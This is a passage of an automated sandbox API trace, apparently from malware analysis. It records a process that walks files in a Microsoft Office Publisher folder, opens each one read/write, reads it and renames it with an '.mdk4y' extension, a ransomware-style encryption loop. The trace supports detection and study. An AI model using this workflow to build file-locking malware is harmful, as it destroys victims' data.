AreFileApisANSI () returned 1 [0197.480] GetACP () returned 0x4e4 [0197.480] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR28B.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR28B.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0197.480] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir28b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.481] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827271100000) returned 1 [0197.481] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x684, lpOverlapped=0x0) returned 1 [0197.501] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827273100000) returned 1 [0197.501] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827273100000) returned 1 [0197.501] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir28b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir28b.gif.mdk4y")) returned 1 [0197.502] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.502] AreFileApisANSI () returned 1 [0197.502] GetACP () returned 0x4e4 [0197.502] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR28F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR28F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0197.502] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir28f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.503] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827273300000) returned 1 [0197.503] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1786, lpOverlapped=0x0) returned 1 [0197.511] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827274100000) returned 1 [0197.511] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827274100000) returned 1 [0197.511] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir28f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir28f.gif.mdk4y")) returned 1 [0197.512] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.512] AreFileApisANSI () returned 1 [0197.512] GetACP () returned 0x4e4 [0197.512] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR29B.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR29B.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0197.513] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir29b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.513] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827274300000) returned 1 [0197.513] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x11b3, lpOverlapped=0x0) returned 1 [0197.578] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827280800000) returned 1 [0197.578] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827280800000) returned 1 [0197.579] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir29b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir29b.gif.mdk4y")) returned 1 [0197.580] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.580] AreFileApisANSI () returned 1 [0197.580] GetACP () returned 0x4e4 [0197.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR29F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR29F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0197.580] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir29f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.582] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827281200000) returned 1 [0197.582] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x59bc, lpOverlapped=0x0) returned 1 [0197.583] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827281300000) returned 1 [0197.583] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827281300000) returned 1 [0197.584] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir29f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir29f.gif.mdk4y")) returned 1 [0197.584] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.584] AreFileApisANSI () returned 1 [0197.584] GetACP () returned 0x4e4 [0197.584] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR2B.GIF", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR2B.GIFF", lpUsedDefaultChar=0x37dec0) returned 10 [0197.584] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir2b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.585] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827281500000) returned 1 [0197.585] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb96, lpOverlapped=0x0) returned 1 [0197.586] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827281600000) returned 1 [0197.586] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827281600000) returned 1 [0197.587] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir2b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir2b.gif.mdk4y")) returned 1 [0197.588] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.588] AreFileApisANSI () returned 1 [0197.588] GetACP () returned 0x4e4 [0197.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR2F.GIF", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR2F.GIF", lpUsedDefaultChar=0x37dec0) returned 10 [0197.588] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir2f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.588] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827281800000) returned 1 [0197.589] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xf73, lpOverlapped=0x0) returned 1 [0197.609] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827283900000) returned 1 [0197.609] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827283900000) returned 1 [0197.610] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir2f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir2f.gif.mdk4y")) returned 1 [0197.611] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.611] AreFileApisANSI () returned 1 [0197.611] GetACP () returned 0x4e4 [0197.611] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR30B.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR30B.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0197.611] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir30b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.612] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827284200000) returned 1 [0197.612] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x332e, lpOverlapped=0x0) returned 1 [0197.631] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827286100000) returned 1 [0197.631] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827286100000) returned 1 [0197.631] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir30b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir30b.gif.mdk4y")) returned 1 [0197.632] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.632] AreFileApisANSI () returned 1 [0197.632] GetACP () returned 0x4e4 [0197.633] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR30F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR30F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0197.633] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir30f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.634] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827286400000) returned 1 [0197.634] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x4bda, lpOverlapped=0x0) returned 1 [0197.635] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827286500000) returned 1 [0197.635] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827286500000) returned 1 [0197.635] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir30f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir30f.gif.mdk4y")) returned 1 [0197.636] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.636] AreFileApisANSI () returned 1 [0197.636] GetACP () returned 0x4e4 [0197.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR31B.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR31B.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0197.636] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir31b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.637] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827286700000) returned 1 [0197.637] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x838, lpOverlapped=0x0) returned 1 [0197.665] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827289500000) returned 1 [0197.666] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827289600000) returned 1 [0197.667] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir31b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir31b.gif.mdk4y")) returned 1 [0197.668] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.668] AreFileApisANSI () returned 1 [0197.668] GetACP () returned 0x4e4 [0197.668] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR31F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR31F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0197.668] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir31f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.669] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827289900000) returned 1 [0197.669] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x52da, lpOverlapped=0x0) returned 1 [0197.692] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827292200000) returned 1 [0197.692] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827292200000) returned 1 [0197.692] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir31f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir31f.gif.mdk4y")) returned 1 [0197.693] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.693] AreFileApisANSI () returned 1 [0197.693] GetACP () returned 0x4e4 [0197.693] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR32B.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR32B.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0197.693] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir32b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.694] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827292400000) returned 1 [0197.694] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xf47, lpOverlapped=0x0) returned 1 [0197.695] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827292500000) returned 1 [0197.695] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827292500000) returned 1 [0197.696] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir32b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir32b.gif.mdk4y")) returned 1 [0197.696] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.697] AreFileApisANSI () returned 1 [0197.697] GetACP () returned 0x4e4 [0197.697] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR32F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR32F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0197.697] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir32f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.698] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827292800000) returned 1 [0197.698] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x910b, lpOverlapped=0x0) returned 1 [0197.714] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827294400000) returned 1 [0197.714] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827294400000) returned 1 [0197.714] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir32f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir32f.gif.mdk4y")) returned 1 [0197.716] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.717] AreFileApisANSI () returned 1 [0197.717] GetACP () returned 0x4e4 [0197.717] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR33B.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR33B.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0197.717] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir33b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.718] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827294800000) returned 1 [0197.718] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1631, lpOverlapped=0x0) returned 1 [0197.719] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827294900000) returned 1 [0197.719] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827294900000) returned 1 [0197.719] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir33b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir33b.gif.mdk4y")) returned 1 [0197.720] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.720] AreFileApisANSI () returned 1 [0197.720] GetACP () returned 0x4e4 [0197.720] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR33F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR33F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0197.720] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir33f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.720] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827295000000) returned 1 [0197.720] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2d13, lpOverlapped=0x0) returned 1 [0197.730] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827296000000) returned 1 [0197.730] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827296000000) returned 1 [0197.731] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir33f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir33f.gif.mdk4y")) returned 1 [0197.732] FindNextFileW (in: hFindFile=0x6ab350, 